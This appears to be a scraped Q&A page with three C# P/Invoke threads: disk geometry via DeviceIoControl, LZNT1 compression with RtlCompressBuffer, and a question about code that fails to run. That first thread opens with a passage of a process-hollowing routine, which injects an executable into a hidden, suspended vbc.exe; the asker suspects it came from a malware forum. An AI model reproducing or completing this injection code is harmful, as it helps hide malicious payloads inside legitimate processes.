ERROR_CODE = Marshal.GetLastWin32Error();
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)(*(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
*(uint*)(ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*)(pinh + 0x28 /* AddressOfEntryPoint */);
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
ERROR_CODE = Marshal.GetLastWin32Error();
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);
ERROR_CODE = Marshal.GetLastWin32Error();
return true;
}
#region WinNT Definitions
private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00
private static short SW_SHOW = 5;
private static short SW_HIDE = 0;
private const uint STARTF_USESTDHANDLES = 0x00000100;
private const uint STARTF_USESHOWWINDOW = 0x00000001;
#region WinAPI
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, int[] lpProcessInfo);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
#endregion
#endregion
}
My .net prog was in 32 bit architecture and I was injecting into C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\vbc.exe:
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = "EXE Files (*.exe)|*.exe;";
if (ofd.ShowDialog(this) == System.Windows.Forms.DialogResult.OK)
CMemoryExecute.Run(File.ReadAllBytes(ofd.FileName), "C:\\WINDOWS\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe");
When I run this, simply happens nothing, but the vbc.exe actually starts and visible in task manager, but hidden. I tried to inject into other exes too.
I use 32 bit win 8 and tried to run notepad.exe and some other win32 exe.
No any windows internal errors appear, like DEP prevention and etc.
I added ERROR_CODE = Marshal.GetLastWin32Error(); code checks into the code, but everywhere it is zero, kind of no errors and no work :(
I tested in framework 2.0 and 4.0
I should mention that I don't know much about what this code is doing, but see this line:
StartupInfo.wShowWindow = SW_HIDE;
Nowhere else is wShowWindow assigned to.
I attempted to visit http://opensc.ws which is mentioned in the comment, and got a strange page asking for a captcha and a reason for temporary access. Permanent access needed site admin approval. After requesting "temporary" access, I got a message saying the website was offline. Very suspicious.
I would place money that this code was originally developed with intentions other than good, but I could be wrong.

Getting Disk geometry Information

I need to obtain disk geometry info, but something wrong and DeviceIoControl returning false. Any ideas how to fix it? Or Other examples using C# and kernel32 appreciated.
[DllImport("kernel32.dll")]
public static extern IntPtr CreateFile(
string lpFileName, int dwDesiredAccess, int dwShareMode,
IntPtr lpSecurityAttributes, int dwCreationDisposition,
int dwFlagsAndAttributes, IntPtr hTemplateFile);
private const int FILE_SHARE_READ = 1;
private const int OPEN_ALWAYS = 4;
private const int INVALID_HANDLE_VALUE = -1;
[DllImport("kernel32.dll", ExactSpelling = true)]
internal static extern bool DeviceIoControl(
IntPtr hDevice, int dwIoControlCode, IntPtr lpInBuffer, int nInBufferSize,
IntPtr lpOutBuffer, int nOutBufferSize, ref int lpBytesReturned, IntPtr lpOverlapped);
private const int IOCTL_DISK_GET_MEDIA_TYPES = 0x00070c00;
static void Main(string[] args)
{
IntPtr hflp = CreateFile(#""\\.\C:", 0, FILE_SHARE_READ, IntPtr.Zero, OPEN_ALWAYS, 0, IntPtr.Zero);
if ((int)hflp == INVALID_HANDLE_VALUE)
{ Console.WriteLine("CreateFile failed"); return; }
Type ts = typeof(DISK_GEOMETRY);
int ss = Marshal.SizeOf(ts);
int ssa = ss * 20;
IntPtr mptr = Marshal.AllocHGlobal(ssa);
int byret = 0;
bool ok = DeviceIoControl(hflp, IOCTL_DISK_GET_MEDIA_TYPES, IntPtr.Zero, 0,
mptr, ssa, ref byret, IntPtr.Zero);
if (!ok)
{ Console.WriteLine("DeviceIoControl failed"); return; }
int count = byret / ss;
int run = (int)mptr;
DISK_GEOMETRY gem;
for (int i = 0; i < count; i++)
{
gem = (DISK_GEOMETRY)Marshal.PtrToStructure((IntPtr)run, ts);
Console.WriteLine("MediaType={0} SectorsPerTrack={1}", gem.MediaType, gem.SectorsPerTrack);
run += ss;
}
Marshal.FreeHGlobal(mptr);
}
P.S I've already read msdn help on this.
IOCTL_DISK_GET_MEDIA_TYPES appears to be legacy and no longer supported. At least that's the case on my OS (Win7 x64). Attempting to call DeviceIoControl with IOCTL_DISK_GET_MEDIA_TYPES results in error code 1, ERROR_INVALID_FUNCTION.
I believe that you will need to use IOCTL_STORAGE_GET_MEDIA_TYPES_EX instead.
My advice in this situation is to attempt to call the API functions from C++ first. That way you don't have to struggle with p/invoke and you know that all the structures and function prototypes are correct. Once you have worked out how to call the particular API function then translate into p/invoke.
As an aside, you should be a little more careful about your p/invokes. Take care to use uint to match DWORD, and make sure you use SetLastError=true so that you can query the error code with Marshal.GetLastWin32Error().
Something like this:
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateFile(
string lpFileName, uint dwDesiredAccess, uint dwShareMode,
IntPtr lpSecurityAttributes, uint dwCreationDisposition,
uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError=true)]
internal static extern bool DeviceIoControl(
IntPtr hDevice, uint dwIoControlCode, IntPtr lpInBuffer,
uint nInBufferSize, IntPtr lpOutBuffer, uint nOutBufferSize,
ref uint lpBytesReturned, IntPtr lpOverlapped);

RtlCompressBuffer API in C#

I'm trying to use the RtlGetCompressionWorkSpaceSize and RtlCompressBuffer functions in a C# project.
Here is what I have so far:
class Program
{
const uint COMPRESSION_FORMAT_LZNT1 = 2;
const uint COMPRESSION_ENGINE_MAXIMUM = 0x100;
[DllImport("ntdll.dll")]
static extern uint RtlGetCompressionWorkSpaceSize(uint CompressionFormat, out uint pNeededBufferSize, out uint Unknown);
[DllImport("ntdll.dll")]
static extern uint RtlCompressBuffer(uint CompressionFormat, byte[] SourceBuffer, uint SourceBufferLength, out byte[] DestinationBuffer,
uint DestinationBufferLength, uint Unknown, out uint pDestinationSize, IntPtr WorkspaceBuffer);
static void Main(string[] args)
{
uint dwSize = 0;
uint dwRet = 0;
uint ret = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, out dwSize, out dwRet);
IntPtr pMem = Marshal.AllocHGlobal((int)dwSize);
byte[] buffer = new byte[1024];
byte[] outBuf = new byte[1024];
uint destSize = 0;
ret = RtlCompressBuffer(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, buffer, 1024, out outBuf, 1024, 0, out destSize, pMem);
Console.Write(ret.ToString());
Console.Read();
}
}
RtlGetCompressionWorkSpaceSize works since it returns 0 (NT success code) but when I call RtlCompressBuffer I get a Memory Access Violation error.
EDIT: With help from David's answer I've fixed the issue and the correct code is below.
const ushort COMPRESSION_FORMAT_LZNT1 = 2;
const ushort COMPRESSION_ENGINE_MAXIMUM = 0x100;
[DllImport("ntdll.dll")]
static extern uint RtlGetCompressionWorkSpaceSize(ushort CompressionFormat, out uint pNeededBufferSize, out uint Unknown);
[DllImport("ntdll.dll")]
static extern uint RtlCompressBuffer(ushort CompressionFormat, byte[] SourceBuffer, int SourceBufferLength, byte[] DestinationBuffer,
int DestinationBufferLength, uint Unknown, out int pDestinationSize, IntPtr WorkspaceBuffer);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern IntPtr LocalAlloc(int uFlags, IntPtr sizetdwBytes);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr LocalFree(IntPtr hMem);
internal static byte[] Compress(byte[] buffer)
{
var outBuf = new byte[buffer.Length * 6];
uint dwSize = 0, dwRet = 0;
uint ret = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, out dwSize, out dwRet);
if (ret != 0)
{
return null;
}
int dstSize = 0;
IntPtr hWork = LocalAlloc(0, new IntPtr(dwSize));
ret = RtlCompressBuffer(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, buffer,
buffer.Length, outBuf, outBuf.Length, 0, out dstSize, hWork);
if (ret != 0)
{
return null;
}
LocalFree(hWork);
Array.Resize(ref outBuf, dstSize);
return outBuf;
}
You are very nearly there. The problem is this part of your P/invoke for RtlCompressBuffer:
out byte[] DestinationBuffer
The default marshalling for byte[] is for the array contents to marshalled in both directions, from managed to unmanaged, and then back again when the function returns. The C definition of RtlCompressBuffer is annotated with __out but that means that the array contents are __out rather than the pointer being __out.
Change your P/invoke to
byte[] DestinationBuffer
and similarly in the call to RtlCompressBuffer change out outBuf to outBuf and you should be good to go.
Be warned that your code as it stands will return an status code of STATUS_BUFFER_ALL_ZEROS so don't be tricked into thinking that this non-zero return value indicates failure.
One final point, the first parameter to both P/invokes, CompressionFormat, should be declared as ushort.

Categories